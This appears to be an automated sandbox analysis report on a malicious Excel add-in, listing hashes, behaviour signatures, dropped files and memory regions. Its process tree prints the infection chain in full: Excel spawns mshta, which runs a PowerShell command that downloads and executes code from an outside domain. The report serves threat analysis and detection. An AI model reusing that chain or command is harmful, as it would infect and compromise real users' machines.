Analysis

  • max time kernel
    101s
  • max time network
    125s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • resource tags

    arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    23-05-2024 02:18

General

  • Target

    98d5b16f16749f0050b5ff64c3b611f460abe079e9c895861e98770894da0442.xll

  • Size

    12KB

  • MD5

    9ec6f0c4cecd543da8b08e13da2eadc5

  • SHA1

    0e598c70ae358ada7970de5bb2d30422264f494a

  • SHA256

    98d5b16f16749f0050b5ff64c3b611f460abe079e9c895861e98770894da0442

  • SHA512

    d5561578af4901be129fbb95a4e180acfd3c4bebc09a939a507c0c5f3767bfa21190a08ba6d1bd3a59d4d181a6db424dd96d04e9de8fa95bf78b5fe6e301d8e7

  • SSDEEP

    192:qL29RBzDzeobchBj8JONNONrrucrEPEjr7Aha:U29jnbcvYJOKNucvr7Ca

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\98d5b16f16749f0050b5ff64c3b611f460abe079e9c895861e98770894da0442.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2804
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3704
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4768

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GG59XP54\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\98d5b16f16749f0050b5ff64c3b611f460abe079e9c895861e98770894da0442.xll

    Filesize

    12KB

    MD5

    9ec6f0c4cecd543da8b08e13da2eadc5

    SHA1

    0e598c70ae358ada7970de5bb2d30422264f494a

    SHA256

    98d5b16f16749f0050b5ff64c3b611f460abe079e9c895861e98770894da0442

    SHA512

    d5561578af4901be129fbb95a4e180acfd3c4bebc09a939a507c0c5f3767bfa21190a08ba6d1bd3a59d4d181a6db424dd96d04e9de8fa95bf78b5fe6e301d8e7

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_23hetpez.qkw.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2804-7-0x00007FFB90E20000-0x00007FFB91029000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-80-0x00007FFB50EB0000-0x00007FFB50EC0000-memory.dmp

    Filesize

    64KB

  • memory/2804-5-0x00007FFB90E20000-0x00007FFB91029000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-6-0x00007FFB50EB0000-0x00007FFB50EC0000-memory.dmp

    Filesize

    64KB

  • memory/2804-8-0x00007FFB90E20000-0x00007FFB91029000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-0-0x00007FFB50EB0000-0x00007FFB50EC0000-memory.dmp

    Filesize

    64KB

  • memory/2804-4-0x00007FFB50EB0000-0x00007FFB50EC0000-memory.dmp

    Filesize

    64KB

  • memory/2804-9-0x00007FFB90E20000-0x00007FFB91029000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-12-0x00007FFB90E20000-0x00007FFB91029000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-10-0x00007FFB90E20000-0x00007FFB91029000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-13-0x00007FFB90E20000-0x00007FFB91029000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-14-0x00007FFB4E3D0000-0x00007FFB4E3E0000-memory.dmp

    Filesize

    64KB

  • memory/2804-15-0x00007FFB4E3D0000-0x00007FFB4E3E0000-memory.dmp

    Filesize

    64KB

  • memory/2804-3-0x00007FFB90EC3000-0x00007FFB90EC4000-memory.dmp

    Filesize

    4KB

  • memory/2804-81-0x00007FFB90E20000-0x00007FFB91029000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-2-0x00007FFB50EB0000-0x00007FFB50EC0000-memory.dmp

    Filesize

    64KB

  • memory/2804-11-0x00007FFB90E20000-0x00007FFB91029000-memory.dmp

    Filesize

    2.0MB

  • memory/2804-79-0x00007FFB50EB0000-0x00007FFB50EC0000-memory.dmp

    Filesize

    64KB

  • memory/2804-78-0x00007FFB50EB0000-0x00007FFB50EC0000-memory.dmp

    Filesize

    64KB

  • memory/2804-77-0x00007FFB50EB0000-0x00007FFB50EC0000-memory.dmp

    Filesize

    64KB

  • memory/2804-1-0x00007FFB50EB0000-0x00007FFB50EC0000-memory.dmp

    Filesize

    64KB

  • memory/2804-61-0x00007FFB90E20000-0x00007FFB91029000-memory.dmp

    Filesize

    2.0MB

  • memory/4768-51-0x0000000005B00000-0x0000000005B1E000-memory.dmp

    Filesize

    120KB

  • memory/4768-52-0x0000000005B50000-0x0000000005B9C000-memory.dmp

    Filesize

    304KB

  • memory/4768-53-0x0000000007360000-0x00000000079DA000-memory.dmp

    Filesize

    6.5MB

  • memory/4768-54-0x0000000006020000-0x000000000603A000-memory.dmp

    Filesize

    104KB

  • memory/4768-50-0x0000000005630000-0x0000000005987000-memory.dmp

    Filesize

    3.3MB

  • memory/4768-41-0x00000000055C0000-0x0000000005626000-memory.dmp

    Filesize

    408KB

  • memory/4768-40-0x0000000005550000-0x00000000055B6000-memory.dmp

    Filesize

    408KB

  • memory/4768-37-0x0000000002310000-0x0000000002346000-memory.dmp

    Filesize

    216KB

  • memory/4768-39-0x0000000004C80000-0x0000000004CA2000-memory.dmp

    Filesize

    136KB

  • memory/4768-38-0x0000000004EB0000-0x00000000054DA000-memory.dmp

    Filesize

    6.2MB